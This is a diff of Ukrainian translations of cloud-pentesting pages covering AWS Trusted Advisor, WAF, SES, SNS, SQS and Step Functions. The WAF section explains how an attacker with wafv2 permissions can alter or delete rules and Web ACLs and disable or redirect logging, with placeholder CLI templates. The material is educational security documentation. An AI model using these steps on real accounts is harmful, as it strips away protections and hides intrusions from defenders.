b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-trusted-advisor-enum.md @@ -6,14 +6,14 @@ ## AWS Trusted Advisor Overview -Trusted Advisor - це сервіс, який **надає рекомендації** для оптимізації вашого облікового запису AWS, відповідно до **найкращих практик AWS**. Це сервіс, який працює в кількох регіонах. Trusted Advisor пропонує інсайти в чотирьох основних категоріях: +Trusted Advisor - це сервіс, який **надає рекомендації** для оптимізації вашого AWS облікового запису, відповідно до **найкращих практик AWS**. Це сервіс, який працює в кількох регіонах. Trusted Advisor пропонує інсайти в чотирьох основних категоріях: 1. **Оптимізація витрат:** Пропонує, як реорганізувати ресурси для зменшення витрат. 2. **Продуктивність:** Визначає потенційні вузькі місця в продуктивності. 3. **Безпека:** Сканує на наявність вразливостей або слабких конфігурацій безпеки. 4. **Стійкість до збоїв:** Рекомендує практики для підвищення стійкості сервісу та стійкості до збоїв. -Комплексні функції Trusted Advisor доступні виключно з **планами підтримки бізнесу або підприємства AWS**. Без цих планів доступ обмежений до **шести основних перевірок**, переважно зосереджених на продуктивності та безпеці. +Комплексні функції Trusted Advisor доступні виключно з **планами підтримки бізнесу або підприємства AWS**. Без цих планів доступ обмежений до **шести основних перевірок**, в основному зосереджених на продуктивності та безпеці. ### Notifications and Data Refresh @@ -29,7 +29,7 @@ Trusted Advisor - це сервіс, який **надає рекомендац 2. Безпека 3. Стійкість до збоїв 4. Продуктивність -5. Обмеження сервісу +5. Ліміти сервісу 6. Дозволи S3 Bucket #### Core Checks @@ -41,11 +41,11 @@ Trusted Advisor - це сервіс, який **надає рекомендац 3. MFA на кореневому обліковому записі 4. Публічні знімки EBS 5. Публічні знімки RDS -6. Обмеження сервісу +6. Ліміти сервісу #### Security Checks -Список перевірок, які переважно зосереджені на виявленні та виправленні загроз безпеці: +Список перевірок, які в основному зосереджені на виявленні та виправленні загроз безпеці: - Налаштування групи безпеки для портів з високим ризиком - Безкоштовний доступ до групи безпеки @@ -57,7 +57,7 @@ Trusted Advisor - це сервіс, який **надає рекомендац - Налаштування HTTPS на ELB - Групи безпеки для ELB - Перевірки сертифікатів для CloudFront -- Ротація ключів доступу IAM (кожні 90 днів) +- Ротація ключів доступу IAM (90 днів) - Витік ключів доступу (наприклад, на GitHub) - Публічна видимість знімків EBS або RDS - Слабкі або відсутні політики паролів IAM diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md index e1de7d607..393c40383 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-security-and-detection-services/aws-waf-enum.md @@ -24,12 +24,12 @@ Web ACL - це колекція правил, які ви можете заст Правило визначає набір умов, які AWS WAF використовує для перевірки вхідних веб-запитів. Існує два основних типи правил: -1. **Звичайне правило**: Цей тип правила використовує вказані умови, щоб визначити, чи дозволити, заблокувати або підрахувати веб-запити. -2. **Правило на основі швидкості**: Підраховує запити з певної IP-адреси протягом п'яти хвилин. Тут користувачі визначають поріг, і якщо кількість запитів з IP перевищує цей ліміт протягом п'яти хвилин, наступні запити з цієї IP блокуються, поки швидкість запитів не знизиться нижче порогу. Мінімальний поріг для правил на основі швидкості - **2000 запитів**. +1. **Звичайне правило**: Цей тип правила використовує вказані умови для визначення, чи дозволити, заблокувати або підрахувати веб-запити. +2. **Правило на основі швидкості**: Підраховує запити з певної IP-адреси протягом п'яти хвилин. Тут користувачі визначають поріг, і якщо кількість запитів з IP перевищує цей ліміт протягом п'яти хвилин, наступні запити з цієї IP блокуються, поки швидкість запитів не знизиться нижче порогу. Мінімальний поріг для правил на основі швидкості становить **2000 запитів**. #### Керовані правила -AWS WAF пропонує попередньо налаштовані, керовані набори правил, які підтримуються AWS та продавцями AWS Marketplace. Ці набори правил забезпечують захист від загальних загроз і регулярно оновлюються для вирішення нових вразливостей. +AWS WAF пропонує попередньо налаштовані, керовані набори правил, які підтримуються AWS та продавцями AWS Marketplace. Ці набори правил забезпечують захист від загальних загроз і регулярно оновлюються для усунення нових вразливостей. #### Набір IP @@ -37,7 +37,7 @@ AWS WAF пропонує попередньо налаштовані, керов #### Набір шаблонів Regex -Набір шаблонів Regex містить один або кілька регулярних виразів (regex), які визначають шаблони для пошуку у веб-запитах. Це корисно для більш складних сценаріїв відповідності, таких як фільтрація конкретних послідовностей символів. +Набір шаблонів Regex містить один або кілька регулярних виразів (regex), які визначають шаблони для пошуку у веб-запитах. Це корисно для більш складних сценаріїв співпадіння, таких як фільтрація конкретних послідовностей символів. #### Токен блокування @@ -45,7 +45,7 @@ AWS WAF пропонує попередньо налаштовані, керов #### API ключі -API ключі в AWS WAF використовуються для аутентифікації запитів до певних операцій API. Ці ключі шифруються та управляються безпечно, щоб контролювати доступ і забезпечити, щоб лише авторизовані користувачі могли вносити зміни до конфігурацій WAF. +API ключі в AWS WAF використовуються для автентифікації запитів до певних операцій API. Ці ключі шифруються та управляються безпечно, щоб контролювати доступ і забезпечити, щоб лише авторизовані користувачі могли вносити зміни до конфігурацій WAF. - **Приклад**: Інтеграція API CAPTCHA. @@ -53,18 +53,18 @@ API ключі в AWS WAF використовуються для аутенти Політика дозволів - це політика IAM, яка визначає, хто може виконувати дії з ресурсами AWS WAF. Визначаючи дозволи, ви можете контролювати доступ до ресурсів WAF і забезпечити, щоб лише авторизовані користувачі могли створювати, оновлювати або видаляти конфігурації. -#### Область +#### Область дії -Параметр області в AWS WAF визначає, чи застосовуються правила та конфігурації WAF до регіонального додатку або розподілу Amazon CloudFront. +Параметр області дії в AWS WAF визначає, чи застосовуються правила та конфігурації WAF до регіонального додатку або розподілу Amazon CloudFront. -- **РЕГІОНАЛЬНИЙ**: Застосовується до регіональних сервісів, таких як Application Load Balancers (ALB), Amazon API Gateway REST API, AWS AppSync GraphQL API, пул користувачів Amazon Cognito, служба AWS App Runner та екземпляр AWS Verified Access. Ви вказуєте регіон AWS, де розташовані ці ресурси. +- **REGIONAL**: Застосовується до регіональних сервісів, таких як Application Load Balancers (ALB), Amazon API Gateway REST API, AWS AppSync GraphQL API, Amazon Cognito user pool, AWS App Runner service та AWS Verified Access instance. Ви вказуєте регіон AWS, де розташовані ці ресурси. - **CLOUDFRONT**: Застосовується до розподілів Amazon CloudFront, які є глобальними. Конфігурації WAF для CloudFront управляються через регіон `us-east-1`, незалежно від того, де подається контент. ### Ключові функції #### Критерії моніторингу (Умови) -**Умови** визначають елементи вхідних HTTP/HTTPS запитів, які моніторить AWS WAF, до яких відносяться XSS, географічне положення (GEO), IP-адреси, обмеження розміру, SQL-ін'єкції та шаблони (рядки та відповідність regex). Важливо зазначити, що **запити, обмежені на рівні CloudFront на основі країни, не досягнуть WAF**. +**Умови** визначають елементи вхідних HTTP/HTTPS запитів, які моніторить AWS WAF, до яких входять XSS, географічне положення (GEO), IP-адреси, обмеження розміру, SQL-ін'єкції та шаблони (рядки та співпадіння regex). Важливо зазначити, що **запити, обмежені на рівні CloudFront на основі країни, не досягнуть WAF**. Кожен обліковий запис AWS може налаштувати: @@ -77,15 +77,15 @@ API ключі в AWS WAF використовуються для аутенти Дії призначаються кожному правилу, з такими варіантами: -- **Дозволити**: Запит пересилається до відповідного розподілу CloudFront або балансувальника навантаження додатків. -- **Заблокувати**: Запит терміново припиняється. -- **Підрахувати**: Підраховує запити, які відповідають умовам правила. Це корисно для тестування правил, підтверджуючи точність правила перед його встановленням на Дозволити або Заблокувати. -- **CAPTCHA та Виклик:** Перевіряється, що запит не надходить від бота за допомогою головоломок CAPTCHA та тихих викликів. +- **Allow**: Запит пересилається до відповідного розподілу CloudFront або балансувальника навантаження додатків. +- **Block**: Запит терміново зупиняється. +- **Count**: Підраховує запити, що відповідають умовам правила. Це корисно для тестування правил, підтверджуючи точність правила перед його встановленням на Allow або Block. +- **CAPTCHA та Challenge:** Перевіряється, що запит не надходить від бота, використовуючи головоломки CAPTCHA та тихі виклики. -Якщо запит не відповідає жодному правилу в Web ACL, він підлягає **за замовчуванням дії** (Дозволити або Заблокувати). Порядок виконання правил, визначений у Web ACL, є критично важливим і зазвичай слідує цій послідовності: +Якщо запит не відповідає жодному правилу в Web ACL, він підлягає **за замовчуванням дії** (Allow або Block). Порядок виконання правил, визначений у Web ACL, є критично важливим і зазвичай слідує цій послідовності: -1. Дозволити IP-адреси зі списку дозволених. -2. Заблокувати IP-адреси зі списку заборонених. +1. Дозволити IP-адреси зі списку білих. +2. Заблокувати IP-адреси зі списку чорних. 3. Заблокувати запити, що відповідають будь-яким шкідливим підписам. #### Інтеграція з CloudWatch @@ -192,7 +192,7 @@ aws wafv2 get-mobile-sdk-release --platform --release-version > > Однак, атакуючий також може бути зацікавлений у порушенні цієї служби, щоб веб-сайти не були захищені WAF. -У багатьох операціях видалення та оновлення буде необхідно надати **lock token**. Цей токен використовується для контролю за конкурентністю ресурсів, забезпечуючи, щоб зміни не були випадково перезаписані кількома користувачами або процесами, які намагаються оновити один і той же ресурс одночасно. Щоб отримати цей токен, ви можете виконати відповідні **list** або **get** операції над конкретним ресурсом. +У багатьох операціях видалення та оновлення буде необхідно надати **lock token**. Цей токен використовується для контролю за конкурентністю ресурсів, забезпечуючи, щоб зміни не були випадково перезаписані кількома користувачами або процесами, які намагаються одночасно оновити один і той же ресурс. Щоб отримати цей токен, ви можете виконати відповідні **list** або **get** операції над конкретним ресурсом. #### **`wafv2:CreateRuleGroup`, `wafv2:UpdateRuleGroup`, `wafv2:DeleteRuleGroup`** @@ -244,8 +244,8 @@ aws wafv2 create-rule-group --name BlockLegitimateIPsRuleGroup --capacity 1 --vi З цими дозволами зловмисник зможе: - Створити новий Web ACL, вводячи правила, які або дозволяють шкідливий трафік, або блокують легітимний трафік, фактично роблячи WAF безкорисним або викликаючи відмову в обслуговуванні. -- Оновити існуючі Web ACL, маючи можливість змінювати правила для дозволу атак, таких як SQL-ін'єкції або міжсайтове скриптування, які раніше були заблоковані, або порушити нормальний потік трафіку, блокуючи дійсні запити. -- Видалити Web ACL, залишаючи постраждалі ресурси абсолютно незахищеними, піддаючи їх широкому спектру веб-атак. +- Оновити існуючі Web ACL, маючи можливість змінювати правила для дозволу атак, таких як SQL-ін'єкції або міжсайтове скриптування, які раніше були заблоковані, або порушувати нормальний потік трафіку, блокуючи дійсні запити. +- Видалити Web ACL, залишаючи уражені ресурси абсолютно незахищеними, піддаючи їх широкому спектру веб-атак. > [!NOTE] > Ви можете видалити вказаний **WebACL** лише якщо **ManagedByFirewallManager** є false. @@ -333,7 +333,7 @@ aws wafv2 update-web-acl --name AllowLegitimateIPsWebACL --scope REGIONAL --id 1 #### **`wafv2:AssociateWebACL`, `wafv2:DisassociateWebACL`** -Дозвіл **`wafv2:AssociateWebACL`** дозволив би зловмиснику асоціювати веб ACL (Списки контролю доступу) з ресурсами, що дозволяє обійти засоби безпеки, дозволяючи несанкціонованому трафіку досягати програми, що потенційно призводить до експлуатацій, таких як SQL-ін'єкція або міжсайтове скриптування (XSS). Навпаки, з дозволом **`wafv2:DisassociateWebACL`** зловмисник міг би тимчасово відключити засоби безпеки, піддаючи ресурси вразливостям без виявлення. +Дозвіл **`wafv2:AssociateWebACL`** дозволить зловмиснику асоціювати веб ACL (Списки контролю доступу) з ресурсами, що дозволить обійти засоби безпеки, дозволяючи неавторизованому трафіку досягати програми, що потенційно призведе до експлуатацій, таких як SQL-ін'єкція або міжсайтове скриптування (XSS). У свою чергу, з дозволом **`wafv2:DisassociateWebACL`** зловмисник може тимчасово відключити засоби захисту, піддаючи ресурси вразливостям без виявлення. Додаткові дозволи знадобляться в залежності від типу захищеного ресурсу: @@ -382,7 +382,7 @@ aws wafv2 update-ip-set --name LegitimateIPv4Set --id 1a2b3c4d-1a2b-1a2b-1a2b-1a - Створення нових шаблонів регулярних виразів допоможе зловмиснику дозволити шкідливий контент - Оновлення існуючих шаблонів дозволить зловмиснику обійти правила безпеки -- Видалення шаблонів, які призначені для блокування шкідливих дій, може дозволити зловмиснику надсилати шкідливі дані та обійти заходи безпеки. +- Видалення шаблонів, які призначені для блокування шкідливих дій, може призвести до того, що зловмисник надішле шкідливі корисні навантаження та обійде заходи безпеки. ```bash # Create regex pattern set aws wafv2 create-regex-pattern-set --name --regular-expression-list --scope | CLOUDFRONT --region=us-east-1> [--description ] @@ -391,27 +391,27 @@ aws wafv2 update-regex-pattern-set --name --id --regular-express # Delete regex pattern set aws wafv2 delete-regex-pattern-set --name --scope | CLOUDFRONT --region=us-east-1> --id --lock-token ``` -**Потенційний вплив**: Обхід засобів безпеки, що дозволяє шкідливому контенту і потенційно викриває чутливі дані або порушує роботу сервісів і ресурсів, захищених AWS WAF. +**Потенційний вплив**: Обхід засобів безпеки, що дозволяє зловмисному контенту і потенційно викриває чутливі дані або порушує роботу служб і ресурсів, захищених AWS WAF. #### **(`wavf2:PutLoggingConfiguration` &** `iam:CreateServiceLinkedRole`), **`wafv2:DeleteLoggingConfiguration`** -Зловмисник з **`wafv2:DeleteLoggingConfiguration`** зможе видалити конфігурацію журналювання з вказаного Web ACL. Після цього, з дозволами **`wavf2:PutLoggingConfiguration`** та **`iam:CreateServiceLinkedRole`**, зловмисник може створити або замінити конфігурації журналювання (після їх видалення), щоб або зовсім запобігти журналюванню, або перенаправити журнали на несанкціоновані місця, такі як кошики Amazon S3, групи журналів Amazon CloudWatch Logs або Amazon Kinesis Data Firehose під контролем. +Зловмисник з **`wafv2:DeleteLoggingConfiguration`** зможе видалити конфігурацію журналювання з вказаного Web ACL. Після цього, з дозволами **`wavf2:PutLoggingConfiguration`** та **`iam:CreateServiceLinkedRole`**, зловмисник може створити або замінити конфігурації журналювання (після їх видалення), щоб або зовсім запобігти журналюванню, або перенаправити журнали до несанкціонованих місць призначення, таких як Amazon S3 buckets, група журналів Amazon CloudWatch Logs або Amazon Kinesis Data Firehose під контролем. -Під час процесу створення сервіс автоматично налаштовує необхідні дозволи, щоб дозволити запис журналів у вказане місце журналювання: +Під час процесу створення служба автоматично налаштовує необхідні дозволи, щоб дозволити запис журналів до вказаного місця призначення для журналювання: - **Amazon CloudWatch Logs:** AWS WAF створює політику ресурсу на призначеній групі журналів CloudWatch Logs. Ця політика забезпечує, що AWS WAF має необхідні дозволи для запису журналів у групу журналів. -- **Amazon S3 Bucket:** AWS WAF створює політику кошика на призначеному кошику S3. Ця політика надає AWS WAF необхідні дозволи для завантаження журналів у вказаний кошик. +- **Amazon S3 Bucket:** AWS WAF створює політику кошика на призначеному S3 bucket. Ця політика надає AWS WAF необхідні дозволи для завантаження журналів до вказаного кошика. - **Amazon Kinesis Data Firehose:** AWS WAF створює роль, пов'язану з сервісом, спеціально для взаємодії з Kinesis Data Firehose. Ця роль дозволяє AWS WAF доставляти журнали до налаштованого потоку Firehose. > [!NOTE] -> Можливо визначити лише одне місце журналювання на веб ACL. +> Можливо визначити лише одне місце призначення для журналювання на веб ACL. ```bash # Put logging configuration aws wafv2 put-logging-configuration --logging-configuration # Delete logging configuration aws wafv2 delete-logging-configuration --resource-arn [--log-scope ] [--log-type ] ``` -**Потенційний вплив:** Непрозорість видимості в події безпеки, ускладнення процесу реагування на інциденти та сприяння прихованій злочинній діяльності в середовищах, захищених AWS WAF. +**Потенційний вплив:** Непрозорість у безпекових подіях, ускладнення процесу реагування на інциденти та сприяння прихованим злочинним діям у середовищах, захищених AWS WAF. #### **`wafv2:DeleteAPIKey`** diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ses-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-ses-enum.md index f8bf325c1..4ba612791 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ses-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ses-enum.md @@ -4,7 +4,7 @@ ## Основна інформація -Amazon Simple Email Service (Amazon SES) призначений для **відправки та отримання електронних листів**. Він дозволяє користувачам ефективно та безпечно відправляти транзакційні, маркетингові або повідомлення про сповіщення в масштабах. Він **добре інтегрується з іншими сервісами AWS**, надаючи надійне рішення для управління електронною поштою для бізнесу будь-якого розміру. +Amazon Simple Email Service (Amazon SES) призначений для **відправки та отримання електронних листів**. Він дозволяє користувачам ефективно та безпечно відправляти транзакційні, маркетингові або повідомлення про сповіщення в масштабах. Він **добре інтегрується з іншими сервісами AWS**, надаючи надійне рішення для управління електронною комунікацією для бізнесу будь-якого розміру. Вам потрібно зареєструвати **ідентифікатори**, які можуть бути доменами або адресами електронної пошти, що зможуть взаємодіяти з SES (наприклад, відправляти та отримувати електронні листи). @@ -32,7 +32,7 @@ chmod u+x ./ses-smtp-conv.sh ``` Це також можливо зробити з веб-консолі AWS. -### Enumeration +### Перерахування > [!WARNING] > Зверніть увагу, що SES має 2 API: **`ses`** та **`sesv2`**. Деякі дії є в обох API, а інші лише в одному з двох. @@ -112,7 +112,7 @@ aws ses get-send-quota ## Get statistics aws ses get-send-statistics ``` -### Постексплуатація +### Після експлуатації {{#ref}} ../aws-post-exploitation/aws-ses-post-exploitation.md diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-sns-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-sns-enum.md index ac5e94276..92ecb238b 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-sns-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-sns-enum.md @@ -6,13 +6,13 @@ Amazon Simple Notification Service (Amazon SNS) описується як **повністю керована служба обміну повідомленнями**. Вона підтримує як **додаток-додатку** (A2A), так і **додаток-людина** (A2P) типи комунікації. -Ключові особливості для A2A комунікації включають **механізми публікації/підписки (pub/sub)**. Ці механізми вводять **теми**, які є критично важливими для забезпечення високої пропускної здатності, **пуш-орієнтованого, багато до багатьох обміну повідомленнями**. Ця функція є надзвичайно вигідною в сценаріях, що включають розподілені системи, мікросервіси та архітектури безсерверних подій. Використовуючи ці теми, системи видавців можуть ефективно розподіляти повідомлення на **широкий спектр систем підписників**, полегшуючи патерн обміну повідомленнями fanout. +Ключові особливості для A2A комунікації включають **механізми публікації/підписки (pub/sub)**. Ці механізми вводять **теми**, які є критично важливими для забезпечення високої пропускної здатності, **пуш-орієнтованого, багато до багатьох обміну повідомленнями**. Ця функція є надзвичайно вигідною в сценаріях, що включають розподілені системи, мікросервіси та архітектури безсерверних подій. Використовуючи ці теми, системи публікаторів можуть ефективно розподіляти повідомлення на **широкий спектр систем підписників**, сприяючи патерну обміну повідомленнями fanout. ### **Різниця з SQS** -**SQS** є **службою на основі черг**, яка дозволяє точкову комунікацію, забезпечуючи обробку повідомлень **одиничним споживачем**. Вона пропонує **доставку принаймні один раз**, підтримує стандартні та FIFO черги, а також дозволяє зберігання повідомлень для повторних спроб і затриманої обробки.\ +**SQS** є **черговою** службою, яка дозволяє точкову комунікацію, забезпечуючи обробку повідомлень **одиничним споживачем**. Вона пропонує **доставку принаймні один раз**, підтримує стандартні та FIFO черги, а також дозволяє зберігання повідомлень для повторних спроб і затриманої обробки.\ З іншого боку, **SNS** є **службою на основі публікації/підписки**, що дозволяє **один до багатьох** комунікацію, транслюючи повідомлення **багатьом підписникам** одночасно. Вона підтримує **різні кінцеві точки підписки, такі як електронна пошта, SMS, функції Lambda та HTTP/HTTPS**, і надає механізми фільтрації для цільової доставки повідомлень.\ -Хоча обидві служби дозволяють декомпозицію між компонентами в розподілених системах, SQS зосереджується на комунікації через черги, а SNS підкреслює патерни комунікації на основі подій та fan-out. +Хоча обидві служби дозволяють декомпозицію між компонентами в розподілених системах, SQS зосереджується на черговій комунікації, а SNS підкреслює подієво-орієнтовані, fan-out патерни комунікації. ### **Перерахування** ```bash @@ -44,7 +44,7 @@ aws sns subscribe --region \ > [!CAUTION] > Зверніть увагу, що якщо **тема є типу FIFO**, можуть бути використані лише підписники, які використовують протокол **SQS** (HTTP або HTTPS не можуть бути використані). > -> Також, навіть якщо `--topic-arn` містить регіон, переконайтеся, що ви вказали правильний регіон у **`--region`**, інакше ви отримаєте помилку, яка виглядає так, ніби вказує, що у вас немає доступу, але проблема в регіоні. +> Також, навіть якщо `--topic-arn` містить регіон, переконайтеся, що ви вказали правильний регіон у **`--region`**, інакше ви отримаєте помилку, яка виглядає так, ніби ви не маєте доступу, але проблема в регіоні. #### Unauthenticated Access diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-sqs-and-sns-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-sqs-and-sns-enum.md index c42116219..ddb00859a 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-sqs-and-sns-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-sqs-and-sns-enum.md @@ -18,7 +18,7 @@ aws sqs receive-message --queue-url aws sqs send-message --queue-url --message-body ``` > [!CAUTION] -> Також, навіть якщо `--queue-url` містить регіон, переконайтеся, що ви вказали правильний регіон у **`--region`**, інакше ви отримаєте помилку, яка виглядає так, ніби вказує на те, що у вас немає доступу, але проблема в регіоні. +> Також, навіть якщо `--queue-url` містить регіон, переконайтеся, що ви вказали правильний регіон у **`--region`**, інакше ви отримаєте помилку, яка виглядає так, ніби ви не маєте доступу, але проблема в регіоні. #### Unauthenticated Access diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-stepfunctions-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-stepfunctions-enum.md index 4b1abb544..84d1cac18 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-stepfunctions-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-stepfunctions-enum.md @@ -4,20 +4,20 @@ ## Step Functions -AWS Step Functions - це сервіс робочих процесів, який дозволяє вам координувати та організовувати кілька сервісів AWS у безсерверні робочі процеси. Використовуючи AWS Step Functions, ви можете проектувати та виконувати робочі процеси, які з'єднують різні сервіси AWS, такі як AWS Lambda, Amazon S3, Amazon DynamoDB та багато інших, у послідовності кроків. Цей сервіс оркестрації надає візуальний інтерфейс робочого процесу та пропонує можливості **машини станів**, що дозволяє вам визначати кожен крок робочого процесу декларативним чином, використовуючи JSON-формат **Amazon States Language** (ASL). +AWS Step Functions - це сервіс робочих процесів, який дозволяє вам координувати та організовувати кілька сервісів AWS у безсерверні робочі процеси. Використовуючи AWS Step Functions, ви можете проектувати та виконувати робочі процеси, які з'єднують різні сервіси AWS, такі як AWS Lambda, Amazon S3, Amazon DynamoDB та багато інших, у послідовності кроків. Цей сервіс оркестрації надає візуальний інтерфейс робочого процесу та пропонує можливості **state machine**, що дозволяє вам визначати кожен крок робочого процесу декларативним чином, використовуючи JSON-формат **Amazon States Language** (ASL). ## Key concepts ### Standard vs. Express Workflows -AWS Step Functions пропонує два типи **робочих процесів машини станів**: Standard та Express. +AWS Step Functions пропонує два типи **state machine workflows**: Standard та Express. -- **Standard Workflow**: Цей тип робочого процесу за замовчуванням призначений для тривалих, надійних та аудиторських процесів. Він підтримує **точне виконання один раз**, забезпечуючи виконання завдань лише один раз, якщо не вказані повторні спроби. Ідеально підходить для робочих процесів, які потребують детальної історії виконання, і може працювати до одного року. -- **Express Workflow**: Цей тип ідеально підходить для завдань з високим обсягом та короткою тривалістю, що тривають до п'яти хвилин. Вони підтримують **виконання принаймні один раз**, що підходить для ідемпотентних завдань, таких як обробка даних. Ці робочі процеси оптимізовані для витрат та продуктивності, стягуючи плату на основі виконань, тривалості та використання пам'яті. +- **Standard Workflow**: Цей тип робочого процесу за замовчуванням призначений для тривалих, надійних та аудиторських процесів. Він підтримує **exactly-once execution**, забезпечуючи виконання завдань лише один раз, якщо не вказані повторні спроби. Ідеально підходить для робочих процесів, які потребують детальної історії виконання, і може працювати до одного року. +- **Express Workflow**: Цей тип ідеально підходить для завдань з високим обсягом та короткою тривалістю, що тривають до п'яти хвилин. Вони підтримують **at-least-once execution**, підходять для ідемпотентних завдань, таких як обробка даних. Ці робочі процеси оптимізовані для витрат та продуктивності, стягуючи плату на основі виконань, тривалості та використання пам'яті. ### States -Стан є основними одиницями машин станів. Вони визначають окремі кроки в робочому процесі, здатні виконувати різноманітні функції в залежності від їх типу: +States - це основні одиниці state machines. Вони визначають окремі кроки в робочому процесі, здатні виконувати різноманітні функції в залежності від їх типу: - **Task:** Виконує завдання, часто використовуючи сервіс AWS, такий як Lambda. - **Choice:** Приймає рішення на основі вхідних даних. @@ -29,16 +29,16 @@ AWS Step Functions пропонує два типи **робочих проце ### Task -Стан **Task** представляє собою єдину одиницю роботи, виконувану машиною станів. Завдання можуть викликати різні ресурси, включаючи активності, функції Lambda, сервіси AWS або сторонні API. +Стан **Task** представляє собою єдину одиницю роботи, виконувану state machine. Завдання можуть викликати різні ресурси, включаючи активності, функції Lambda, сервіси AWS або сторонні API. - **Activities**: Користувацькі працівники, які ви керуєте, підходять для тривалих процесів. -- Ресурс: **`arn:aws:states:region:account:activity:name`**. +- Resource: **`arn:aws:states:region:account:activity:name`**. - **Lambda Functions**: Виконує функції AWS Lambda. -- Ресурс: **`arn:aws:lambda:region:account:function:function-name`**. +- Resource: **`arn:aws:lambda:region:account:function:function-name`**. - **AWS Services**: Інтегрується безпосередньо з іншими сервісами AWS, такими як DynamoDB або S3. -- Ресурс: **`arn:partition:states:region:account:servicename:APIname`**. +- Resource: **`arn:partition:states:region:account:servicename:APIname`**. - **HTTP Task**: Викликає сторонні API. -- Поле ресурсу: **`arn:aws:states:::http:invoke`**. Потім ви повинні надати деталі конфігурації кінцевої точки API, такі як URL API, метод та деталі аутентифікації. +- Resource field: **`arn:aws:states:::http:invoke`**. Потім ви повинні надати деталі конфігурації кінцевої точки API, такі як URL API, метод та деталі аутентифікації. Наступний приклад показує визначення стану Task, який викликає функцію Lambda під назвою HelloWorld: ```json @@ -52,12 +52,12 @@ AWS Step Functions пропонує два типи **робочих проце "End": true } ``` -### Choice +### Вибір Стан **Choice** додає умовну логіку до робочого процесу, що дозволяє приймати рішення на основі вхідних даних. Він оцінює вказані умови та переходить до відповідного стану на основі результатів. -- **Comparison**: Кожне правило вибору включає оператор порівняння (наприклад, **`NumericEquals`**, **`StringEquals`**), який порівнює вхідну змінну з вказаним значенням або іншою змінною. -- **Next Field**: Стан вибору не підтримує поле **`End`**, натомість вони визначають стан **`Next`**, до якого потрібно перейти, якщо порівняння є істинним. +- **Порівняння**: Кожне правило вибору включає оператор порівняння (наприклад, **`NumericEquals`**, **`StringEquals`**), який порівнює вхідну змінну з вказаним значенням або іншою змінною. +- **Поле Next**: Стан вибору не підтримує поле **`End`**, натомість він визначає стан **`Next`** для переходу, якщо порівняння є істинним. Приклад стану **Choice**: ```json @@ -95,7 +95,7 @@ AWS Step Functions пропонує два типи **робочих проце ### Pass -Стан **Pass** передає свій вхідний сигнал на вихід або без виконання будь-якої роботи, або перетворюючи вхідний JSON стан за допомогою фільтрів, а потім передаючи перетворені дані до наступного стану. Це корисно для тестування та побудови станів машин, дозволяючи вам впроваджувати статичні дані або перетворювати їх. +Стан **Pass** передає свій вхідний сигнал на вихід або без виконання будь-якої роботи, або перетворюючи вхідний JSON стан за допомогою фільтрів, а потім передаючи перетворені дані до наступного стану. Це корисно для тестування та побудови станів машин, дозволяючи вам вводити статичні дані або перетворювати їх. ```json "PassState": { "Type": "Pass", @@ -106,7 +106,7 @@ AWS Step Functions пропонує два типи **робочих проце ``` ### Wait -Стан **Wait** затримує виконання машини станів на вказаний проміжок часу. Є три основні методи для налаштування часу очікування: +Стан **Wait** затримує виконання машини станів на вказаний проміжок часу. Існує три основні методи для налаштування часу очікування: - **X Seconds**: Фіксована кількість секунд для очікування. @@ -128,7 +128,7 @@ AWS Step Functions пропонує два типи **робочих проце } ``` -- **Dynamic Wait**: На основі вхідних даних за допомогою **`SecondsPath`** або **`TimestampPath`**. +- **Dynamic Wait**: На основі вхідних даних, використовуючи **`SecondsPath`** або **`TimestampPath`**. ```json jsonCopiar código @@ -234,16 +234,16 @@ jsonCopiar código ### Versions and aliases -Step Functions також дозволяє вам керувати розгортаннями робочих процесів через **версії** та **псевдоніми** станів машин. Версія представляє знімок стану машини, який може бути виконаний. Псевдоніми служать вказівниками на до двох версій стану машини. +Step Functions також дозволяє вам керувати розгортаннями робочих процесів через **версії** та **псевдоніми** станів машин. Версія представляє собою знімок стану машини, який може бути виконаний. Псевдоніми служать вказівниками на до двох версій стану машини. - **Versions**: Ці незмінні знімки стану машини створюються з найостаннішої ревізії цієї стану машини. Кожна версія ідентифікується унікальним ARN, який поєднує ARN стану машини з номером версії, розділеним двокрапкою (**`arn:aws:states:region:account-id:stateMachine:StateMachineName:version-number`**). Версії не можуть бути відредаговані, але ви можете оновити стан машини та опублікувати нову версію або використовувати бажану версію стану машини. -- **Aliases**: Ці вказівники можуть посилатися на до двох версій одного й того ж стану машини. Можна створити кілька псевдонімів для однієї стану машини, кожен з яких ідентифікується унікальним ARN, побудованим шляхом поєднання ARN стану машини з назвою псевдоніма, розділеною двокрапкою (**`arn:aws:states:region:account-id:stateMachine:StateMachineName:aliasName`**). Псевдоніми дозволяють маршрутизацію трафіку між однією з двох версій стану машини. Альтернативно, псевдонім може вказувати на одну конкретну версію стану машини, але не на інші псевдоніми. Їх можна оновити, щоб перенаправити на іншу версію стану машини за потреби, що полегшує контрольовані розгортання та управління робочими процесами. +- **Aliases**: Ці вказівники можуть посилатися на до двох версій однієї і тієї ж стану машини. Можна створити кілька псевдонімів для однієї стану машини, кожен з яких ідентифікується унікальним ARN, побудованим шляхом поєднання ARN стану машини з ім'ям псевдоніма, розділеним двокрапкою (**`arn:aws:states:region:account-id:stateMachine:StateMachineName:aliasName`**). Псевдоніми дозволяють маршрутизацію трафіку між однією з двох версій стану машини. Альтернативно, псевдонім може вказувати на одну конкретну версію стану машини, але не на інші псевдоніми. Їх можна оновити, щоб перенаправити 